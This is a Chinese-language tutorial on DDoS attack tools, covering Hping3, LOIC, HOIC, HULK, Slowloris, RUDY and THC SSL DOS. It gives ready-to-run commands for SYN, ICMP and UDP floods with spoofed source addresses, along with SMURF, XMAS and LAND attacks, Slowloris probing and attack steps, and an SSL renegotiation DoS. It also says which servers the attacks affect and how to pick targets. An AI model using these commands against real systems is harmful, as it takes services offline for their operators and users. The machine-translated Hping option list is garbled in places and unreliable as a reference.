DDoS攻击工具
综合性工具
综合性工具除了可以进行DDoS攻击外,还可用于其他的用途,例如:端口扫描、安全审计、防火墙等。实际上,大部分综合性工具开发的原始目的并不是用于DDoS,而是“网络检查或测试工具”
Hping
Hping是一个编码和解码TCP/IP协议的命令行开发工具,常用于测试网络及主机的安全,同时也可以做安全审计、防火墙测试等工具的标配工具;Hping的命令行就像常用的ping命令,不同的是,它不仅能发送ICMP请求,而且支持TCP、UDP、RAW-IP等协议;Hping的特色在于能够定制数据包的各个部分。
Hping常常别用做网络攻击工具,使用Hping可以方便的额构造DoS攻击,如:ICMP洪水攻击、UDP洪水攻击、SYN洪水攻击等。
Hping的常用功能包括网络压力测试、防火墙测试、端口扫描等。
使用手册:https://www.hi-linux.com/posts/57862.html
-H——帮助显示此帮助
-V—版本显示版本
-C——发送数据包的数据项目
-i——间隔发送数据包的间隔时间(u即微秒)(u x表示x微秒,例如-i u1000)
---i u10000的快速别名(每秒10个数据包)
---i u1000的更快别名(每秒100个数据包)
--Flood快速发送数据包,不显示返回
-n——数字化输出
-Q——安静安静模式
-i——接口接口名称(否则为默认路由接口)
-v——详细详细模式
-d——调试调试信息
-z—将bind ctrl+z绑定到ttl(默认为dst端口)
-Z—取消绑定取消绑定ctrl+z
--每收到一个匹配的数据包都会发出哔哔声
模式
默认模式TCP
-0—RAWIP原始IP模式
-1—ICMP ICMP模式
-2——UDP UDP模式
-8——扫描扫描模式。
示例:hping--scan 1-30,70-90-s www.target.host
-9——听-听模式
知识产权
-a—欺骗源地址
--随机目的地地址模式。见那个人。
--随机源地址模式。见那个人。
-T—TTL TTL(默认为64)
-n—ID ID(默认随机)
-w——win id使用win*id字节排序
-r——rel relativize id字段(用于估计主机流量)
-f——用更多的碎片分割数据包。(可能通过弱ACL)
-x—morefrag设置更多片段标志
-Y—Dontfrag集不分段标志
-g—fragoff设置碎片偏移量
-m——mtu设置虚拟mtu,意味着——如果包大小大于mtu,则为frag
-o--tos服务类型(默认为0x00),尝试--tos帮助
-g——route包括记录路由选项并显示路由缓冲区
--LSRR松散源路由和记录路由
--SSRR严格的源路由和记录路由
-h--ipproto设置IP协议字段,仅在原始IP模式下
ICMP
-C—icmp type icp类型(默认回显请求)
-k—ICMPCode ICMP代码(默认为0)
--强制ICMP发送所有ICMP类型(默认仅发送支持的类型)
--icmp gw为icmp重定向设置网关地址(默认为0.0.0.0)
--icmp ts别名--icmp--icmptype 13(icmp时间戳)
--ICMP地址别名--ICMP--ICMPType 17(ICMP地址子网掩码)
--ICMP帮助显示其他ICMP选项的帮助
UDP/TCP协议
-S—基址端口基址源端口(默认随机)
-p--destport[+]+]
destination port(默认值0)ctrl+z inc/dec -k——保持源端口静止
-w—win winsize(默认值64)
-o——tcpoff设置假tcp数据偏移量(而不是tcphdrlen/4)
-q—seqnum仅显示TCP序列号
-B—badcksum(尝试)发送具有错误IP校验和的数据包
许多系统将修复发送数据包的IP校验和
因此,您将得到错误的UDP/TCP校验和。
-m——setseq设置TCP序列号
-L—set ack设置tcp ack
-F—fin设置fin标志
-S—SYN设置SYN标志
-R——RST设置RST标志
-P——推集推标志
-A—ACK设置ACK标志
-U—URG设置URG标志
-x—xmas set x unused标志(0x40)
-Y—Ymas设置Y未使用标志(0x80)
--tcp exit code使用最后一个tcp->th_标志作为退出代码
--tcp mss使用给定值启用tcp mss选项
--tcp timestamp启用tcp timestamp选项来猜测hz/uptime
共同的
-d——数据数据大小(默认值为0)
-e——文件中的文件数据
-E——签名加上“签名”
-j——以十六进制转储数据包
-j——打印转储可打印字符
-B——安全启用“安全”协议
-u——结束,告诉你什么时候——文件到达eof,并防止倒带。
-t——traceroute traceroute模式(意味着——bind和——ttl 1)
--在traceroute模式下接收第一个非ICMP时,tr停止退出
--tr keep ttl保持源ttl固定,仅用于监视一个跃点
--tr no rtt不在traceroute模式下计算/显示rtt信息
ARS包描述(新的、不稳定的)
--APD发送发送APD描述的数据包(见docs/apd.txt)
Hping操作
上两张图是Hping3命令界面和目标192.168.2.191主机的拦包结果:
Hping命令使用的是 -i:是间隔100000微秒(其中u是微秒单位)发送数据包的间隔时间
-0—RAWIP原始IP模式
-1—ICMP ICMP模式
-2—UDP UDP模式
-8—扫描扫描模式
-a:伪造源IP地址为xxx.xxx.xxx.xxx
SYN Flooding(SYN洪水攻击)
hping3 目标主机IP -i u微秒时间 -S -a 伪造的源IP
伪造IP的ICMP封包
hping3 目標主機IP -i u100000 -1 -a 偽造來源IP
- SYN+FIN
hping3 目標主機IP -i u100000 -S -F -a 偽造來源IP
- FIN+SYN+RSP+PSH+ACK+UDP
hping3 目标主机IP -i u100000 -F -S -R -A -U -a 伪造来源IP
- 伪造IP的UDP封包
hping3 目标主机IP -i u100000 -2 -a 伪造来源IP
上述的命令中,伪造了源IP向目标主机发送了UDP数据包
- 伪造IP内含数据代码
hping3 目标主机IP -i u100000 -d[封包数据] -E[文件名] -a[伪造源IP]
- SMURF攻击
结合使用了IP欺骗和ICMP回复方法使大量网络传输充斥目标系统,引起目标系统拒绝为正常系统进行服务。
hping3 -1 -a 192.168.1.5 192.168.1.255
- XMAS TREE攻击
hping3 -SFRP 目标IP
- LAND攻击
hping3 -k -S -s 25 -p 25 -a 伪造源IP地址
- 用tcpdump的记录流量
PenTBox
兼容windows、mac os、Android;基于Ruby开发。
-
三个主体功能
-
密码算法工具
-
网络工具(压力测试、溢出攻击)
-
Web安全测试工具
-
Zarp
Zarp是一款采用python编写的而网络攻击测试集成工具Zarp仅限运行在Linux平台,Zarp的主要接口是一个CLI驱动的图形界面。
- 启动Zarp.py
压力测试工具
LOIC
LOIC,低轨道离子炮;开源的网络压力测试工具。
- Windows平台LOIC启动界面
LOIC的不足之处在于他不可以伪造源IP地址。
LOIC可以对目标发动TCP、UDP以及HTTP GET等洪水攻击
HOIC
HOIC,高轨道离子炮;是一款基于HTTP协议的开源DDoS工具,HOIC主要用于内部网络和外部服务器安全性和稳定性能测试;
HOIC可以发送多线程的HTTP FLOOD洪水攻击;同样额HOIC也同样无法隐藏源IP地址。
HULK
HULK是一款基于Python的Web压力测试工具。HULK默认启动500线程对目标发起高频率的HTTP GET洪水攻击请求,独特之处在于,每一次的请求都是独一的,由此可以绕开服务器端采用缓存的防范措施。同时HULK也支持User-Agent和referer的伪造。
专业的攻击工具
Slowloris
Slowloris是一个Perl程序。(也有Python的版本)
Slowloris的使用较为简单,一般分为两个步骤:
- 首先是对目标进行探测:
perl slowloris.pl -dns 目标IP -port 目标端口号 -test
对目标进行探测的主要目的是获取目标服务器的连接时间,当目标服务器的时间超时小于166秒,工具运行会出现异常,所以建议选择超时时间大于200秒以上的目标。
测试中,首要是确定目标的对象IP,然后进行多次的超时时长的探测。
- 实施攻击
perl slowloris.pl -dns 目标IP -port 目标端口号 - timeout TTL
TTL指的是根据之前的探测,设置一个合适的超时时间;因为Slowloris攻击方法主要就是依靠超时占用对方资源而实现DoS攻击的目的,所以还是需要这只一个合适的超时时间的。
在之前提过,该攻击方法是有不足的,只能针对部分的web服务端有效;目前收到影响的有:Apache1.x/2.x、dhttpd、GoAhead、WebServer、Squid等;而IIS则不受影响。
R.U.D.Y
RUDY采用一种慢速的HTTP POST请求的方式给目标发动攻击。与之前的Slowloris利用请求Header部分不同,RUDY利用的是请求的body部分;因为服务器端会根据Content-Length字段的内容值持续等待,直到客户端数据发送完毕。
太繁琐,不用了。
THC SSL DOS
THC SSL DOS 利用SSL中已知弱点而使其DoS;这种攻击是非对称的,一次客户请求就可以让服务端进行相当于客户端的15倍的CPU资源进行处理。
thc-ssl-dos --accept xxx.xxx.xxx.xxx [prot]xx
如果目标禁用或启动了安全的 rengotiation ,则会提示攻击失败。
利用THC SSL DOS工具,一台性能和带宽中等的主机就可以挑战高性能的服务器;攻击效果非常明显。